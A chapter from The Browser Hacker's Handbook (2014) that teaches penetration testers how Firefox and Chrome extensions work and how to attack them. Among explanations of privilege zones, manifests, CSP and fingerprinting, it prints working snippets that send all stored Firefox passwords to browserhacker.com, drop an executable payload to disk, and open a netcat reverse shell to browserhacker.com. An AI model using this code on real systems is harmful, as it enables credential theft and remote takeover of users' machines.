Attacking Extensions - The Browser Hacker’s Handbook (2014)

The Browser Hacker’s Handbook (2014)

Chapter 7. Attacking Extensions

In the previous chapter, you explored attacking the browser directly. This chapter takes you a step further along the functionality chain and shows you how to hack the browser extensions.

A browser extension is software that optionally adds or removes functionality to the browser. Third parties such as antivirus vendors or social networking sites usually create extensions. They can be voluntarily installed by the user, or even installed without the user’s knowledge as a side effect of installing other programs.

Historically, browser extensions have not been developed with security in mind. Extensions can have access to sensitive user information, to the privileged APIs, or even to the underlying operating system. The absence of a security focus and the privileged context makes extensions a ripe target for hacking.

Browser extensions are very popular and present a sizable attack surface. The vulnerability classes for extensions differ substantially—they range from command injection to age-old Cross-site Scripting vulnerabilities (XSS). The sophistication of techniques for exploitation vary just as much.

Importantly for you, the extension interacts with the loaded web page and creates a readily accessible attack path. This chapter explores these paths of attack by exploiting vulnerabilities in Firefox and Chrome extensions.

Understanding Extension Anatomy

Let’s explore what extensions are and how they differ from browser to browser. If you have a solid grasp on how extensions fit into the browser landscape, feel free to skip forward into the more active attacking sections of this chapter.

By handing off the development of nonessential functionality to third parties, the browser developers can focus on core operation. This reduces the software bloat and potential of bugs in the codebase. Obviously, something needs to fill the gap between the browser and the varying needs of different users. This is where extensions come into the browser story.

The technologies used to implement extensions are common and most people in the industry are likely to be relatively familiar with them. They can be written in a variety of languages, and probably the least surprising supported language is JavaScript.

Extensions change the browsing experience. They can change the UI by changing menus, changing pages, creating pop-ups, and more. They can be downloaded and installed from Firefox add-ons and the Chrome Web Store. Of course, you can even write your own if you so desire.

Extensions operate similarly to when an application is installed on an operating system. And just like operating system applications, extensions are written for a single architecture. This means that extensions don’t install on browsers other than the specific one they have been developed for. Because of this, some of your attacking techniques will be similar, but there will be differences in the ways you approach extension exploitation depending upon the browser.

An extension can operate across all pages viewed by the browser. A good example of this is the NoScript extension. This extension potentially influences every page that the browser loads. All other extensions can potentially do the same thing. It may be helpful to view extensions as virtual web applications that run in the origin of each page that the browser loads. This will certainly be useful when discovering vulnerabilities and is explored in the later sections of this chapter.

How Extensions Differ from Plugins

Extensions and plugins are sometimes difficult to distinguish, but they do have some predominant differences. Extensions live inside the browser’s process space, whereas a plugin can execute independently. Extensions can create browser menus and tabs, whereas a plugin can’t.

Unlike extensions, a plugin only affects the page that it is loaded into, which means it doesn’t get included in any web pages automatically. Loading of a plugin can occur via one of two methods. The first is by the server returning a specific MIME type. For example, Adobe Reader might present a PDF in the browser for a content type of application/pdf. The second method is using the <object> tag (or the <embed> tag), which also affects the page that loads it. You will explore attacking plugins in-depth in the next chapter.

How Extensions Differ from Add-ons

The term add-on might be one of the most overloaded browser terms. It is inconsistently used throughout the industry. Consider it an umbrella term for browser augmentation that includes plugins, extensions, and so on.

Google generally uses the term extension or plugin, though it uses “add-on” for its downloadable Google Analytics Opt-out Browser Add-on.1 Microsoft uses extension to include ActiveX controls, browser helper objects, and toolbars.2 Mozilla extends the add-on definition further to include all this plus themes, dictionaries, and search bars.3

Generally speaking, in most cases an add-on refers to everything except the browser and the plugins. Having established this, we won’t be focusing on all the different add-ons. This chapter is solely focused on extensions, as defined by Mozilla and to a lesser degree, the other browser vendors.

Exploring Privileges

The privileges given to extensions vary substantially depending on the browser and the developer. However, there is an easy broad distinction that can be made before delving into the specifics of each browser. The extension environment provided by each of the browser vendors has elevated access to the browser functionality. This is consistent and is one of the reasons that browser extensions are useful to the end user. Of course, it is also the main reason they are useful to the attacker.

One of the most important points to understand when targeting a browser extension is that it runs in a privileged context. The two main zones are separated into the low privileged Internet zone and the higher privileged browser zone (also called the chrome:// zone). In some cases, even within the browser extension itself, the privileges vary between components. Figure 7-1 shows a very basic structural view of an extension and how it relates to the browser and the underlying operating system. It has access to privileged APIs that provide capabilities beyond your standard web page. They include access to sensitive user data and, in some instances, execution of operating system commands.

Figure 7-1: Basic extension structure

image

Extensions often have more privileges than they actually need. This could be due to the browser architecture not supporting a reduction in privileges, or it could even be that the developers requested too much during install. Of course, the more privileges the extension has, the more attractive target it will be.

Unprivileged Internet Zone

The Internet zone is the unprivileged zone of the browser. You will probably be very familiar with the operation of this zone. It abides by the Same Origin Policy (SOP), has limited access to sensitive user data, and can’t directly influence the operating system.

The Internet zone is the unprivileged context in which JavaScript executes when returned from the web application. In short, it is the context within which virtually all web application code executes.

Privileged Browser Zone

Extensions, while still being somewhat virtual web applications, are not served over HTTP or HTTPS. They run in their own URI Scheme that is inaccessible to usual websites or your local files due to the SOP.

The privileged browser zone (also called the chrome:// zone) is where the code for extensions executes. It is a highly trusted zone within the browser. The chrome:// zone has access to sensitive user information and to privileged APIs, and is not restricted by the SOP.

The browser chrome:// is not to be confused with Google’s Chrome browser. The term in the browser lexicon is overloaded, but fortunately there is almost always enough context to determine which term is being referenced.

To reduce any possible confusion, throughout this book the URI Scheme chrome:// is used when the privileged context is being discussed.

Understanding Firefox Extensions

Firefox extensions do not differ from other browser vendors’ extensions in that they augment the functionality of the browser. Like a lot of browser-related technology, they are often written in JavaScript. This is even encouraged and made easier by Mozilla’s online extension editor, which enables developers to write and test extensions online.

Firefox extensions are very simple to install, and the ability to install and use extensions is enabled by default. The extensions will be operational with each loaded origin; that is, unless it has been explicitly disabled or the browser has been started in Safe Mode. When the Firefox browser is started in Safe Mode, no extensions will be enabled.

Figure 7-2 shows a security-focused view of the Firefox extension architecture. It provides an overview of the attack surface and the exploitation paths that are covered in later sections.

Figure 7-2: Relevant Firefox extension structure

image

Investigating the Source Code

The file structure that makes up an extension for Firefox is compressed using the zip format. Rather than the traditional .zip filename suffix (we won’t use “filename extension” to avoid confusion), these files use the filename suffix .xpi (pronounced “zippy”).

What this means is that you are already familiar with the process of extracting the contents of a Firefox extension. This knowledge is quite advantageous, because you don’t need to learn a new method to get access to the source. You can simply use your favorite decompression program to investigate the target Firefox extension directory structure.

Firefox Extension Directory Structure

Firefox extensions follow a very similar structure with some well-known purposes for the contents of each directory. The directory structure is often as follows:

· Chrome contains further subdirectories

· Content contains main functionality

· Skin contains images and CSS

· Defaults contains preferences

· Components contains XPCOM components, if needed

The content directory is likely to contain the information you are going to be interested in. It will have the main extension JavaScript and, in some cases, binary libraries.

Figure 7-3 shows the file structure of the FirePHP extension. This example doesn’t show all elements that can be included in an extension. In this instance, the extension developer hasn’t used the components directory.

Figure 7-3: Directory structure of the FirePHP Extension

image

Interpreting the Updating Process

One file that will potentially be of interest is the install.rdf file, which contains details not only about the install, but also about the update process. The (non-mandatory) parameters related to the update management of the extension are updateURL and updateKey.

The presence or absence of these signifies to Firefox how the extension should be updated. If neither exists, then the update of the extension is fully managed by Mozilla add-ons and you have limited ways to attack the update process. You’ll also have limited attack surface if the updateKey is specified, or if the updateURL uses the HTTPS URI Scheme.

If the updateKey parameter is included in the install.rdf file, it will contain a public key. Now the corresponding private key must sign all updates delivered from the designated updateURL. In this situation, Firefox verifies the integrity of all updates, which stops you from interfering with the update process.

In a scenario where the install.rdf file contains an HTTP updateURL and the updateKey is omitted, there is a security issue. This means that none of the updates are having their integrity verified and they are being delivered over a cleartext channel. When Firefox starts, it will connect to theupdateURL and request update.rdf, which includes versioning information that Firefox will use to determine if it needs to update.

As demonstrated in previous chapters, it is possible to take control over cleartext communication channels using middling techniques. Once you have control over this update channel, the process for delivering your own update is trivial.

Understanding XUL and XBL

XML User Interface Language (XUL) is a way to express viewable content in the chrome of the Firefox browser. But that is it! No actions will happen when a key is pressed or a mouse is clicked. This is where XML Binding Language (XBL) comes in. It glues the viewable content with JavaScript, creating all the functionality you have come to expect when you click a button.

Surprisingly enough, even the Firefox browser itself is created in XUL, and you see this by typing chrome:// URLs into the address bar. If you type chrome://browser/content/browser.xul into the browser, you’ll see the screen in Figure 7-4.

Figure 7-4: Firefox chrome:// example

image

Figure 7-4 shows the Firefox browser loading the URL chrome://browser/content/browser.xul. The content that is loaded is also functional because the XUL is glued with XBL. As you can see, by typing the same URL into the second address bar, a third presentation of the browser chrome is created.

These descriptions of XUL and XBL are simplistic, but they serve to provide a brief background, because attacks in this area are largely theoretical. As such, they won’t be examined directly, though a lot of the details covered in the following sections are applicable to exploiting a vulnerability in these technologies.

Exploring the XPCOM API

The Cross Platform Component Object Model (XPCOM) API provides additional functionality to browser extensions. XPCOM is the cross-platform component model used in the browser. If you are familiar with Microsoft COM, it will be helpful to think of XPCOM as Mozilla’s very own version of this.

The JavaScript in the extension needs a way to access XPCOM. This is where XPConnect comes in and facilitates the communication between XPCOM and JavaScript. It provides a transparent layer that enables you to use JavaScript to call functions in XPCOM. Basically, it is what you’ll be using to call the XPCOM API from within the chrome:// zone.

Thanks to the research of Nick Freeman and Roberto Suggi Liverani,4 the good news is that extensions can use XPCOM components that can run in the context of the operating system. Let’s delve into some of their research and the actions that XPCOM enables you to perform.

Exposing the Login Manager

Firefox, like all web browsers, provides a method to store usernames and passwords for web applications visited by the user. This sensitive information is also accessible by the XPCOM API. This means that from the extension, it is possible to interrogate the login manager.

The nsILoginManager interface works with the password manager functionality within Firefox. Methods exist to add, remove, modify, and view stored credentials in the browser. The functions made available by the API include the potentially very useful getAllLogins() method5 with an obvious purpose:

// Get the login manager object

var l2m=Components.classes[

"@mozilla.org/loginmanager;1"].

getService(Components.interfaces.nsILoginManager);

// Get all credentials from the login manager

allCredentials = l2m.getAllLogins({});

// Extract all the hosts, usernames and passwords

for (i=0;i<=allCredentials.length;i=i+1){

var url = "http://browserhacker.com/";

url += "?host=" + encodeURI(allCredentials[i].hostname);

url += "&user=" + encodeURI(allCredentials[i].username);

url += "&password=" + encodeURI(allCredentials[i].password);

window.open(url);

}

This code shows how all the content of the Firefox login manager can be extracted.6 It will result in an HTTP request containing the credentials being sent to the web server located at http://browserhacker.com. Figure 7-5 is a screenshot showing an example of what this may look like in an Apache log.

Figure 7-5: Apache log of stolen credentials

image

Reading from the Filesystem

The SOP does not apply to URLs within extensions. Instructions within the privileged chrome:// zone are virtually uninhibited when accessing arbitrary origins. The URI Scheme file:// becomes very useful to you in this situation.

You can use the document.ReadURL.readFile method with this extra privilege. So within the chrome:// zone, this method allows for arbitrary files to be read from the filesystem:

var fileToRead="file:///C:/boot.ini";

var fileContents=document.ReadURL.readFile(fileToRead);

From within the privileged context of the extension, the preceding code would read the c:\boot.ini file from the filesystem.7

Writing to the Filesystem

The XPCOM API used by Firefox to write to the filesystem is called nsIFileOutputStream.8 Much like the local file access discussed in the previous section, this interface allows the browser to write anywhere on the filesystem that the browser can.

Employing this XPCOM API can give you more versatility during an attack. For example, this can be useful for deploying a payload such as a Metasploit Meterpreter or any other remote access tool of choice:

function makeFile(bdata){

var workingDir= Components.classes[

"@mozilla.org/file/directory_service;1"]

.getService(Components.interfaces.nsIProperties)

.get("Home", Components.interfaces.nsIFile);

var aFile = Components.classes["@mozilla.org/file/local;1"]

.createInstance(Components.interfaces.nsILocalFile);

aFile.initWithPath( workingDir.path + "\\filename.exe" );

aFile.createUnique(

Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777);

var stream = Components.classes[

"@mozilla.org/network/safe-file-outputstream;1"]

.createInstance(Components.interfaces.nsIFileOutputStream);

stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0);

stream.write(bdata, bdata.length);

if (stream instanceof Components.interfaces.nsISafeOutputStream){

stream.finish();

} else {

stream.close();

}

}

The makeFile() method in this code uses XPCOM to write to the (Windows) filesystem. Remember that it needs the privileges that are available in the chrome:// zone to execute successfully.

Executing Operating System Commands

Of course, you want to know how to execute programs on the target operating system. This is how you are going to get your connect back and run your payloads. XPCOM also provides a way to do that!

The nsIProcess represents an executable process in Mozilla land. It can be employed from within the Firefox extension to execute programs stored on the target’s filesystem. The following code demonstrates how to execute a reverse shell using Netcat on a Linux operating system:

var lFile = Components.classes["@mozilla.org/file/local;1"]

.createInstance(Components.interfaces.nsILocalFile);

var lPath = "/bin/nc";

lFile.initWithPath(lPath);

var process = Components.classes["@mozilla.org/process/util;1"]

.createInstance(Componen

ts.interfaces.nsIProcess);

process.init(lFile);

process.run(false,['-e', '/bin/bash', 'browserhacker.com', '12345'],4);

The example uses both nsILocalFile and nsIProcess to compromise the system running your target browser. Figures 7-6 and 7-7 are screenshots that show the code executing and the reverse shell in action.

Figure 7-6: Code for reverse shell

image

Figure 7-7: Reverse shell connection

image

Examining the Security Model

Firefox extensions run with the full permissions of the browser. That is, any instructions being run in the chrome:// zone will not have restricted privileges. The important point here is that there is no concept of sandboxing and no security boundaries. This very flat privilege model gives any extension compromise a virtually direct method to access the browser APIs, the filesystem, and the operating system.

Exploring the Chrome Zone

The privileged chrome:// zone in Firefox has its own URI Scheme (chrome://) and grants extension developers full access to the browser through full-featured APIs. For example, an extension can reconfigure the browser and other extensions, retrieve cookies and stored passwords, as well as download files and execute operating system commands (in the context of the OS user running the browser).

Unlike Chrome, which is covered in a later section, the Firefox extension developer is not able to restrict access to different levels of permissions. This results in all permissions being available to all extensions.

The execution of remote code in a privileged context is the most common vulnerability in Firefox extensions.9 Because the extensions run with the same privileges as the browser,10 a successful compromise will also run with those privileges. Another advantage you have is that the execution of operating system commands uses the extension API, which gives you a simple and reliable path to exploitation.

Understanding Chrome Extensions

Just like Firefox extensions, Chrome extensions run with elevated privileges. They can do things normal JavaScript code in a page can’t do. For example, a Chrome extension can have access to all the open tabs, send cross-origin requests, read cookies (including those flagged with HttpOnly), and much more.

Chrome (manifest version 2) has a more complex architecture than Firefox, as you can see in Figure 7-8. It too has the privileged chrome:// zone, along with an additional security boundary.

Figure 7-8: Relevant Chrome extension structure

image

A Chrome extension will have one manifest file and the remaining components will be made up of some combination of a background page, UI pages, and content scripts. It can potentially have other components, but these are the main ones you’ll run into.

The Chrome extensions update silently in the background without the knowledge of the user, so it is likely that your target will have the latest and greatest extension version installed.

Investigating the Source Code

You won’t need your elite reverse engineering skills to dissect Chrome extensions. They are written in (you guessed it!) JavaScript and HTML. Simply download your target extension from the Chrome Web Store.11 Chrome uses the .crx suffix for its extension filenames so they should be easy to spot. They are simply a compressed directory structure, much like Firefox extensions. Next, unpack the extension code and launch your favorite IDE. This will enable you to use static analysis tools and discover vulnerabilities by doing manual code review.

Sometimes static analysis is not good enough. But wait; here comes Chrome to the rescue! You can install the extension in your browser and easily debug it dynamically. Toggle Developer mode in chrome://extensions and you’ll be able to run any extension unpacked into a directory of your choice.

Now that you have enabled developer mode, you can use the Inspect Views option to launch the Chrome Developer Tools window. Click the file listed after the Inspect Views item in the Extensions tab. Figure 7-9 shows the developer mode options for the Amazon extension. As you can see, you’ll need to click on the background.html link, though this will not always be the case. It could easily be a different filename.

Figure 7-9: Accessing developer tools

image

Figure 7-10 shows the Developer Tools in action. Here you can browse through extension code, execute JavaScript, attach breakpoints, modify code, and more. This environment gives you a simple and accessible way to explore your target extension dynamically.

Figure 7-10: Debugging an extension

image

Interpreting the Manifest

Chrome extensions must have a manifest.json file. Those with Sherlock-like deduction skills will already know it needs to be in a JSON format. This file describes the resources it will access during standard functionality.

The following snippet shows similar content to what you would expect to see in a manifest.json file:

{

"name": "extensionName",

"version": "versionString",

"manifest_version": 2

<rest of content>

}

The security restrictions on manifest version 1–based extensions were relatively open. As you’d expect, this significantly contributed to vulnerabilities being discovered in popular Chrome extensions.12 By default, it gave developers access to privileged APIs that they accepted with open arms. In turn, the developers faithfully distributed extensions with more permission than they required.

In response, Google created manifest version 2, which employs secure-by-default policies. The most noteworthy change was enforcing the Content Security Policy13 in some parts of the extension codebase. This was an effort to mitigate Cross-site Scripting vulnerabilities and is a significant security improvement.

By the time this book is published, Chrome will no longer support extensions using manifest version 1. Chrome will strictly only run extensions with a version 2 manifest. At the time of writing, Google was in the process of deprecating manifest version 1 extensions.

During this transition, more exploitation examples were available for manifest version 1. In a lot of instances, the same (or very similar) exploits apply to extensions with manifest version 2. In the following sections you explore some examples with manifest version 1, because they communicate the attacks readily. They will still be applicable to extensions using manifest version 2, with some prerequisites that will be outlined.

The most important point here is that manifest version 2 implicitly defines lots of security restrictions, and that version 2 extensions have a smaller attack surface. Many attacks conceived for version 1 are still effective for version 2, albeit with more preconditions.

Investigating Content Scripts

Content scripts negotiate the great-unwashed web content that is loaded into the browser. There can be many content scripts running in each page. This component of a Chrome extension has direct access to the DOM and has the largest attack surface. It is also the least trusted. Though it is strictly part of the extension, in some instances it might even be more helpful for you to envision the content script as a special part of the web page.

It’s a special part because content script code is separated from other extensions’ scripts, and even separated from standard scripts running on a web page. For example, the content script cannot call any functions defined in the web page origin, and vice versa.

So while DOM access is shared, the code runs in an Isolated World. Isolated Worlds provide a way to segregate access in the extension and are examined in greater detail in an upcoming section.

Content scripts have restricted access to the extension APIs.14 They cannot access variables and functions in their associated extension pages. They can’t even access other content scripts or make cross-origin requests to their own extension pages. Content scripts are separated from the rest of the extension and the environment by the security boundary, as can be seen in Figure 7-8. This is why it is sometimes better to view them as part of the web page and not the extension.

However, content scripts are certainly part of the extension. This can be seen by their slightly elevated privileges. They can make cross-origin XHR requests to any origin that has been whitelisted in their manifest file:

"permissions": [

"http://*/*",

"https://*/*"

]

The preceding JSON example from a manifest file allows the content script to make an XMLHttpRequest to any HTTP or HTTPS origin. Importantly, when the requests are sent by the extension they contain cookies that might have been set by the web application the user is interacting with. Don’t forget that the extension can read the responses, too.

This means that any origin that the user has already authenticated with will have their session tokens sent in the extension’s XMLHttpRequest. Let’s leave that one to your imagination until the later “Achieving Same Origin Bypass” section.

Investigating UI Pages

UI pages are option pages, pop-ups, or any other page that is presented to the user. For example, some extensions have a settings page. Usually it’s just a settings.html file declared in the manifest. Other types of UI pages also load up when you click an extension icon displayed next to an address bar. They are basically HTML resources that form the UI of the extension.

For your purposes, the most important thing to take from this is that the JavaScript running on UI pages has elevated privileges. It can access the juicy APIs (guarded by the extension security boundary).

UI pages don’t have direct access to the DOM and must employ content scripts for that purpose. Between content scripts and view pages, there’s a strict security boundary. Content scripts cannot call functions that are defined in the background page and UI pages. All communication must be done via messages. This is discussed further in the “Exploring the Security Model” section of this chapter.

Investigating the Background Page

The background page (when used) can be seen as an extension’s core. Each extension has at most one background page, no matter how many windows or tabs are running. The incognito tabs are a special case, though generally all open windows and tabs share the background page.

The background page has elevated privileges and runs whenever the browser is running. With these elevated permissions, the background page can make for a very juicy target. Attacking the background page might sound quite simple at first, but Chrome extensions do have some strong protections. Background pages use the Content Security Policy so if the developer hasn’t explicitly enabled a weakness, you might be out of luck.

It might be helpful for you to think of the background page as the server component equivalent in the traditional client-server model. The content scripts will communicate to it using predefined message formats. These restricted messages form part of the security boundary, which is where you’ll need to smuggle your attack through.

Considering NPAPI Plugins

The Netscape Plugin Application Programming Interface (NPAPI)15 is an old cross-platform16 plugin architecture. You’ll be learning a lot more about plugins in the next chapter, but you’ll touch on it here because Chrome extensions can call out to them in JavaScript.

These NPAPI plugins run outside of the Chrome sandbox and have the permissions of the user. This makes them an ideal target if they can be controlled from within the extension. Google hasn’t missed the significance of this, because it has stated that all NPAPI plugins need to be manually reviewed before being accepted in the Chrome Web Store.17

NPAPI plugins will suffer from buffer overflows, format string bugs, and command injection vulnerabilities—basically the same as any other compiled program, which makes them mostly out of the scope of this book. However, injection vulnerabilities are covered here and you delve into these in a later section. Of course, plugins are also covered in the next chapter. But for now, you’ll just touch on the concepts that will support the understanding of extension attacks.

The following example shows some manifest.json content that will signal that your target extension uses a plugin:

{

"name": "BHH Extension",

...

"plugins": [

{"path": "bhh_extension_plugin.dll" }

],

...

}

If you see the preceding code in your target extension, it is worth exploring the potential for plugin vulnerabilities. These are examined later in this chapter.

Exploring the Security Model

Chrome extensions run within origins using the chrome-extension:// URI Scheme. This is effectively the privileged chrome:// zone of the browser that you will be targeting when attacking the extension. These Chrome extension origins are inaccessible to usual websites due to the Same Origin Policy.

Extensions, due to running in a privileged zone, can access and modify whitelisted origin content. The list of origins that the extension runs within is described in the manifest.json file, in the form of match patterns.

Investigating Isolated Worlds

Chrome extensions use a concept called Isolated Worlds. This is where the scripts in the loaded page and the content scripts remain segregated. Although the scripts can access and alter the DOM, they can’t directly access another script’s Isolated World. This reduces the freedom of an attacker exploiting vulnerabilities in content scripts.

To further separate the content scripts from the page scripts, Chrome creates individual representations of the DOM in each Isolated World. This is transparent to all the scripts. Other scripts immediately observe all DOM changes, but they are not operating on the same structure.

For all intents and purposes, a developer might not notice Isolated Worlds while developing extensions. However, you will notice them if you try to call functions in content scripts directly.

Investigating Match Patterns

Match patterns are also used to restrict an extension’s XMLHttpRequest objects. As discussed earlier in this chapter, extensions, unlike websites, can use XHR objects to send requests and read cross-origin responses, and are only limited by declared match patterns. The following code example demonstrates a match pattern for the origin http://browservictim.com/:

"content_scripts": [

{

"matches": ["http://browservictim.com/*"],

"css": ["styles.css"],

"js": ["script.js"]

}

],

Pay special attention to extensions with wildcard match patterns like file:///*, http://*/*, *://*/*, or <all_urls>. These extensions can potentially be exploited by any website visited by the user.

Investigating Permissions

A lot of Google Chrome extensions request (and obtain) access to high privileges within the browser. This allows them to perform actions the website origin cannot do. This privileged access makes them more useful for your target, and it makes compromising extensions more useful to you, too. This is particularly significant because extensions have the capability to override Same Origin Policy restrictions.

Because of the obvious security impact of running such privileged code, the developers must stipulate which parts of the API they plan to use upon installation. The permissions are expressed in the manifest.json file. You can see an example in the following snippet:

"permissions": [ "http://*/*", "https://*/*", "tabs", "cookies" ],

Upon installation of the extension, the user is presented with a confirmation dialog box, listing human-readable descriptions of the extension permissions.18 Once the user clicks Add the extension gets installed with all the permissions outlined in the dialog box, as shown in Figure 7-11.

Figure 7-11: The Quick Note extension requesting permissions upon install

image

Many extensions in the Google Chrome Web Store ask to access your data on all websites. By agreeing to install such an extension, you’re giving it the privileges to read each and every page you visit, including sites using the HTTPS URI Scheme.

These extensions can access passwords, attach keystroke loggers, and more. Some extensions even send this data to third parties over HTTP. These insecure practices suggest that security hasn’t been a priority for the developers and might make those extensions a more fruitful target.

Investigating the Security Boundary

The security boundary separates the content script (and the web page) from the rest of the extension. The content script runs in the context of the web page in the HTTP(S) origin and the other pages run in the chrome-extension:// origin. These two origins only communicate via message passing. By default, this forms an effective barrier between the untrusted web page and the high privileged extension back end.

Google even provides19 examples of insecure coding practices that could help you understand and discover security vulnerabilities in your target extension. The following examples run in the extension’s background page and communicate with the content script:

chrome.tabs.sendMessage(tab.id, {greeting: "hello"}, function(response) {

var resp = eval("(" + response.farewell + ")");

});

The preceding code uses eval insecurely by using the content script message as part of its parameter. The next example uses innerHTML to write the untrusted response to the DOM:

chrome.tabs.sendMessage(tab.id, {greeting: "hello"}, function(response) {

document.getElementById("resp").innerHTML = response.farewell;

});

Looking out for the use of eval and innerHTML is a good place to start when doing a code review on the target extension. This is particularly important if those functions are used in the background page. These examples created Cross-content Scripting vulnerabilities, which you learn more about in the later sections of this chapter.

You would need to exploit these vulnerabilities by smuggling your attack first through the content script. Only then would you have indirect access to the message-passing API. However, there is another scenario. The developer could make the messaging API directly accessible from the web page by explicitly declaring it in the manifest.json file:

"externally_connectable": {

"matches": ["http://browservictim.com/*"]

}

In this JSON code you’ll see the externally_connectable declaration of the origins that can directly access the message-passing API. It is worth checking for this in the target extension manifest.

The opportunity for attack is reduced here because Google hasn’t allowed the more generous wildcards in the externally_connectable match patterns. That is, the developer can’t include hostname patterns like "*" or "*.com". Needless to say, if http://browservictim.com were vulnerable to a Cross-site Scripting vulnerability, there would be an avenue for attack.

Chrome extensions have a boundary where only predefined message passing can occur. This substantially reduces the attack surface. However, there may still be sufficient room for attack, so it is still worth a look.

Investigating the Content Security Policy

Google incorporates the concept of Content Security Policy (CSP) into the foundation of Chrome extensions.20 As discussed in previous chapters, the CSP is a set of restrictions imposed on a web resource. It may, among many other things, selectively disable or enable script execution based on the script’s origin. It effectively reduces the developer’s ability to shoot themselves in the foot.

The exact CSP restriction used for an extension is defined in the manifest.json file using the content_security_policy parameter. If the extension doesn’t explicitly stipulate the CSP, Chrome will apply a relatively strict set of restrictions. The default CSP directives are shown in the following example:

script-src 'self'; object-src 'self'

This directive translates to the following restrictions for any successful injection attack in to the back-end extension component:

· No externally loaded scripts. That is, <script src=http://browserhacker.com> will not run.

· No externally loaded objects. That is, no Java, Flash, and so on.

· No inline scripting. That is, no <script>code</script>.

· No eval() and friends.

What this means is that your avenue for attack is reduced. However, it does beg the question: how many extension developers will simply relax the CSP directives to make their life easier? Developers, including extension developers, like to use JavaScript Template Engines, and a lot of these are based on the eval() function. For them to perform correctly, the manifest will need the unsafe-eval directive.

Don’t even think for a second that security might be more important than that new fancy JavaScript Template Engine! If you are very quiet ,you can almost hear the project manager bellowing “Risk Accepted” and the slouched-over security guy swearing under his breath.

CSP applies to extension UI pages and the background page. Only the extension components inside the security boundary are afforded this protection. It does not apply to the content script. So you can be confident when you find a vulnerability in a content script that it will be exploitable. Of course, running code in a content script is more limited, but impactful attacks are still within your reach. You will learn more about these attacks in an upcoming section later in this chapter.

Be sure to check the content_security_policy parameter in your target extension’s manifest file. Just because it can be securely locked down, doesn’t mean it will be.

Discussing Internet Explorer Extensions

Internet Explorer (IE) extensions21 are not as popular with the user base as Firefox or Chrome. Whatever the reason for this difference in popularity, it will result in less scope for attacks within IE extensions.

Microsoft classes Internet Explorer extensions to include Browser Helper Objects (BHOs), toolbars, and ActiveX controls.22 You will quickly notice these are all technologies that are mainly compiled to native code. This means they are potentially susceptible to traditional buffer overflows, format string vulnerabilities, and integer bugs.

Internet Explorer extensions can be written in managed code that reduces the chance of these vulnerabilities. But interestingly, Microsoft recommends that browser extensions should not be written in managed code.23 This is because they run in the browser process and Microsoft doesn’t want extensions slowing down the user experience.

Unlike the extensions of Chrome and Firefox, you typically can’t decompress Internet Explorer extensions to explore the source code. Because they are compiled for the Windows operating system, viewing their source isn’t a simple option. Though, you might be able to gain some visibility of their functionality via the F12 tools.

Attacking natively compiled software is out of the scope of this book, but plenty of great resources are available to delve into this area. Some of these resources were listed in the first chapter and, if this interests you, flick back to Chapter 1 to have a look

Of course, there is still potential for vulnerabilities like XSS and friends depending on how the extension has been implemented. The scope for these kinds of attacks is not as large as the extensions for the other browsers, and so is only covered in passing in this section.

Fingerprinting Extensions

Methods exist to fingerprint many parts of your target browser, and the extension is no different in this regard. Identifying what extensions your target is using will be very beneficial to you. This will let you launch your exploits in a more directed manner and remove uncertainty during your attack.

Researchers including Brendan Coles, Graziano Felline, Giovanni Cattani,24 and Krzysztof Kotowicz25 have come up with various ways to enumerate the extensions in use by your target. Extensions don’t hide the fact they have increased the attack surface of the browser. In fact, some even broadcast it.

The following sections explore various methods to detect the extensions that your target is using.

Fingerprinting using HTTP Headers

Some extensions may change the request headers in subtle ways, and others do it in a manner that screams they have been installed. For the purposes of fingerprinting, you need to examine your target extension to determine if the headers are altered in any way.

To detect changes, you can capture the request headers before and after installation. Any differences should be clear by diffing the results. Don’t forget that some extensions may not change the headers unless they are being actively used. This is actually the case in the upcoming FirePHP example.

Another way you can look for header changes is by examining the source of the extension. Of course, the codebase is available to you for Firefox and Chrome because the extension install files are simply compressed .zip files containing code.

With Chrome extensions, requests can be modified on the fly by one of the view pages (usually the background page). You should search for the chrome.webRequest.onBeforeSendHeaders function call. Using this API requires the webRequest permission, so you should first just check themanifest.json file for that permission. If it isn’t there, it is irrelevant if the onBeforeSendHeaders function is used.

Another way to inject custom headers in Chrome extensions is in the content script. You do this by simply using the standard XMLHttpRequest.setRequestHeader function when sending Ajax requests. Searching for that function should also help you discover if the extension is manipulating browser headers.

With Firefox extensions, searching for setRequestHeader will identify the locations where the request headers are being changed. You can see in the following FirePHP code snippet that the extension is altering the User-Agent request header:

httpChannel.setRequestHeader("User-Agent",

httpChannel.getRequestHeader("User-Agent") + ' '+

"FirePHP/" + firephp.version, false);

This results in the FirePHP extension announcing its availability by appending FirePHP/<VERSION NUMBER> to the User-Agent header. You will find it trivial to detect, as per the following set of headers:

GET / HTTP/1.1

Host: browserhacker.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac

OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0 FirePHP/0.7.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

The preceding HTTP headers are what the Firefox browser sends in a request to the web server using the altered headers. Note the FirePHP/0.7.1 string appended to the User-Agent header. In this case, not only does the extension inform you it is installed, but it also notifies you of the version.

Fingerprinting using the DOM

By now you will appreciate the vastness of the forest that contains all the leaves of the DOM. Many possible DOM properties can be accessed. As discussed in the previous chapter, some of these are present only in some browsers. In the same manner, some DOM properties only exist when a particular extension is installed (and active).

When fingerprinting using the DOM, look for IFrames, overlays, and invisible <div> elements. Sometimes they appear on a web application based on a special condition (for example, particular domain, title of the website, or existence of certain elements). Using tools like Firebug, it’s helpful to observe what the extension does to an empty HTML page, and then add content based on extension code analysis.

LastPass Example

LastPass is a password manager that aims to make password management more secure. In Chrome, the LastPass extension hooks into the DOM before the HTML starts to build it. In the Chrome extension, this is configured in its manifest file. As shown here, onloadwff.js is loaded duringdocument_start for all URLs:

"all_frames": true,

"js": [ "onloadwff.js" ],

"matches": [ "http://*/*", "https://*/*", "file:///*" ],

"run_at": "document_start"

Let’s ignore the questionable and very permissive file:///* match pattern and continue with fingerprinting. Within the onloadwff.js JavaScript file, custom functions are then added to the DOMContentLoaded event. The browser fires this event after the document has been loaded and parsed, but often before internal frames, images, or style sheets are parsed. Eventually, the extension runs a function that modifies the DOM of the rendered page through the addition of a new empty script tag:

<script id="hiddenlpsubmitdiv" style="display: none;"></script>

